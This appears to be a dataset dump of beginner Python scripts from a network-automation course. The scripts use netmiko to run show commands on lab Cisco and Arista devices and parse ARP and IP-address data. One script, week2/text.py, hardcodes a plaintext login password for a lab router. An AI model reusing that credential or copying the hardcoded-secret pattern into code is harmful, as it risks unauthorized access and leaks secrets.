"text": "import yaml\nfrom os import path\nfrom netmiko import ConnectHandler\nfrom ciscoconfparse import CiscoConfParse\n\nfilename = \"netmiko.yml\"\n\nwith open(filename) as f:\n\tyaml_out = yaml.safe_load(f)\n\ndevice = yaml_out[\"cisco4\"]\n\nnet_connect = ConnectHandler(**device)\nshow_run = net_connect.send_command(\"show run\")\n\n\n#Cisco confparse\n\ncisco_obj = CiscoConfParse(show_run.splitlines())\n#interfaces = cisco_obj.find_objects_w_child(parentspec=r\"^interface\", childspec=r\"ip address\")\n\nmatch = cisco_obj.find_objects_w_child(parentspec=r\"^interface\", childspec=r\"^\\s+ip address\")\n\nfor ipaddr in match:\n\tprint(\"Interface Line: \",ipaddr.text)\n\tipaddress = ipaddr.re_search_children(r\"ip address\")[0].text\n\tprint(\"IP Address Line: \", ipaddress)\n\n\n\n\n#print(match[0].children)\n#print (cisco_obj.find_objects_w_child(parentspec=r\"^interface\", childspec=r\"^\\s+ip address\"))\n\n\n"
},
{
"alpha_fraction": 0.6964285969734192,
"alphanum_fraction": 0.7053571343421936,
"avg_line_length": 17.44444465637207,
"blob_id": "aa5f0803fe6c12ca420ced71906f29a87cf29fcc",
"content_id": "49082b653130e950fbbec15c1cf23a3f3fa91210",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 336,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 18,
"path": "/week3/step4/jsonarp.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "import json\nfrom pprint import pprint\n\nfilename = \"jsonarp.json\"\nwith open(filename) as f:\n arp_data = json.load(f)\n\n\narp_dict = {}\n\narp_entries = arp_data[\"ipV4Neighbors\"]\n\nfor entries in arp_entries:\n\tipv4_address = entries[\"address\"]\n\tmac_address = entries[\"hwAddress\"]\n\tarp_dict[ipv4_address] = mac_address\n\npprint(arp_dict)\n \n\n\n"
},
{
"alpha_fraction": 0.49247312545776367,
"alphanum_fraction": 0.5053763389587402,
"avg_line_length": 19.47058868408203,
"blob_id": "c022d8083cf2d64feb5eaa804548d1a0ceb390cb",
"content_id": "f63767c0f4fde1dd5e114678cbadbf4becd8d400",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1395,
"license_type": "no_license",
"max_line_length": 37,
"num_lines": 68,
"path": "/week4/training/routerlogin.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "from getpass import getpass\n\npassword = getpass()\n\ncisco3 = {\n\t'device_type': 'cisco_ios',\n \t'host': 'cisco3.lasthop.io',\n \t'username': 'pyclass',\n \t'password' : password,\n}\n\ncisco4 = {\n 'device_type': 'cisco_ios',\n 'host': 'cisco4.lasthop.io',\n 'username': 'pyclass',\n 'password' : password,\n}\n\narista1 = {\n 'device_type': 'cisco_ios',\n 'host': 'arista1.lasthop.io',\n 'username': 'pyclass',\n 'password' : password,\n}\n\narista2 = {\n 'device_type': 'cisco_ios',\n 'host': 'arista2.lasthop.io',\n 'username': 'pyclass',\n 'password' : password,\n}\n\n\narista3 = {\n 'device_type': 'cisco_ios',\n 'host': 'arista3.lasthop.io',\n 'username': 'pyclass',\n 'password' : password,\n}\n\n\narista4 = {\n 'device_type': 'cisco_ios',\n 'host': 'arista4.lasthop.io',\n 'username': 'pyclass',\n 'password' : password,\n}\n\nsrx2 = {\n 'device_type': 'cisco_ios',\n 'host': 'srx2.lasthop.io',\n 'username': 'pyclass',\n 'password' : password,\n}\n\nnxos1 = {\n 'device_type': 'cisco_ios',\n 'host': 'nxos1.lasthop.io',\n 'username': 'pyclass',\n 'password' : password,\n}\n\nnxos2 = {\n 'device_type': 'cisco_ios',\n 'host': 'nxos2.lasthop.io',\n 'username': 'pyclass',\n 'password' : password,\n}\n\n\n\n"
},
{
"alpha_fraction": 0.719565212726593,
"alphanum_fraction": 0.72826087474823,
"avg_line_length": 20.809524536132812,
"blob_id": "6fd2a6a8409b496bd45d7cd2eacb99dc15e6ee40",
"content_id": "c338f95997ca98f62008436e2e591a76a2eb52aa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 460,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 21,
"path": "/week2/text.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "from pprint import pprint\nfrom netmiko import ConnectHandler\nfrom getpass import getpass\n\n\ndevice1 = {\n\n\t\"host\": 'cisco4.lasthop.io',\n\t\"username\": 'pyclass',\n\t\"password\": '88newclass',\n\t\"device_type\": 'cisco_ios',\n}\n\n\n\nnet_connect = ConnectHandler(**device1)\n\noutput = net_connect.send_command(\"show lldp neighbors\", use_textfsm=True)\npprint(output[0]['neighbor_interface'])\noutput = net_connect.send_command(\"show version\", use_textfsm=True)\npprint(output)\n\n\n"
},
{
"alpha_fraction": 0.6369958519935608,
"alphanum_fraction": 0.6509040594100952,
"avg_line_length": 16.341463088989258,
"blob_id": "1583a4d513c90af0f8d7c1cb9a5f216fef3300b6",
"content_id": "d3e650fb769542095855a02a7cd7e3e230c8f42e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 719,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 41,
"path": "/week1/connect.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "from netmiko import ConnectHandler\nfrom getpass import getpass\n\npassword = getpass()\n\n\n\n\nnxos1 = {\n\n\t\"host\": 'nxos1.lasthop.io',\n\t\"username\": 'pyclass',\n\t\"password\": password,\n\t\"device_type\": 'cisco_ios',\n\t# session_log='my_session.txt',\n}\n\nnxos2 = {\n\n\t\"host\": 'nxos2.lasthop.io',\n\t\"username\": 'pyclass',\n\t\"password\": password,\n\t\"device_type\": 'cisco_ios',\n}\n\n\ncounter = 0\n\nfor device in [nxos1, nxos2]:\n\t\n\n\tif (counter <1):\n\t\tnet_connect = ConnectHandler(**device)\n\t\tintBrief = net_connect.send_command(\"show version\")\n\t\tprint(net_connect.find_prompt() + \"\\n\")\n\t\tprint(intBrief)\n\telse:\n\t\twith open(\"show_version_nxos2.txt\", \"w\") as f:\n\t\t\tf.write(intBrief)\n\t\tnet_connect.disconnect()\n\tcounter = counter + 1\n\n\n\t\t\n\n\n\n"
},
{
"alpha_fraction": 0.6416084170341492,
"alphanum_fraction": 0.6660839319229126,
"avg_line_length": 24.909090042114258,
"blob_id": "d1a18eac89e7c5ab802130532982298a7f901f9a",
"content_id": "d109beb8aa44f8c5be51bf2baa3a18e91553e8d9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 572,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 22,
"path": "/week3/step3/step3.json.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "import json\n\nfilename = \"step3addressing.json\"\nwith open(filename) as f:\n nxos_data = json.load(f)\n\nipv4_list = []\nipv6_list = []\nipv4_counter = 0\n\n\nfor interface , ipadd_dict in nxos_data.items():\n\tfor ipv4_or_ipv6, addr_info in ipadd_dict.items():\n\t\tfor ipaddr, prefix_dict in addr_info.items():\n\t\t\tprefix_length = prefix_dict[\"prefix_length\"]\n\t\t\t#print(prefix_length)\n\t\t\tif ipv4_or_ipv6 == \"ipv4\":\n\t\t\t\tipv4_list.append(\"{}/{}\".format(ipaddr, prefix_length))\n\t\t\telse:\n\t\t\t\tipv6_list.append(\"{}/{}\".format(ipaddr, prefix_length))\nprint (ipv4_list)\nprint (ipv6_list)\n\n\n"
}
] | 15 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.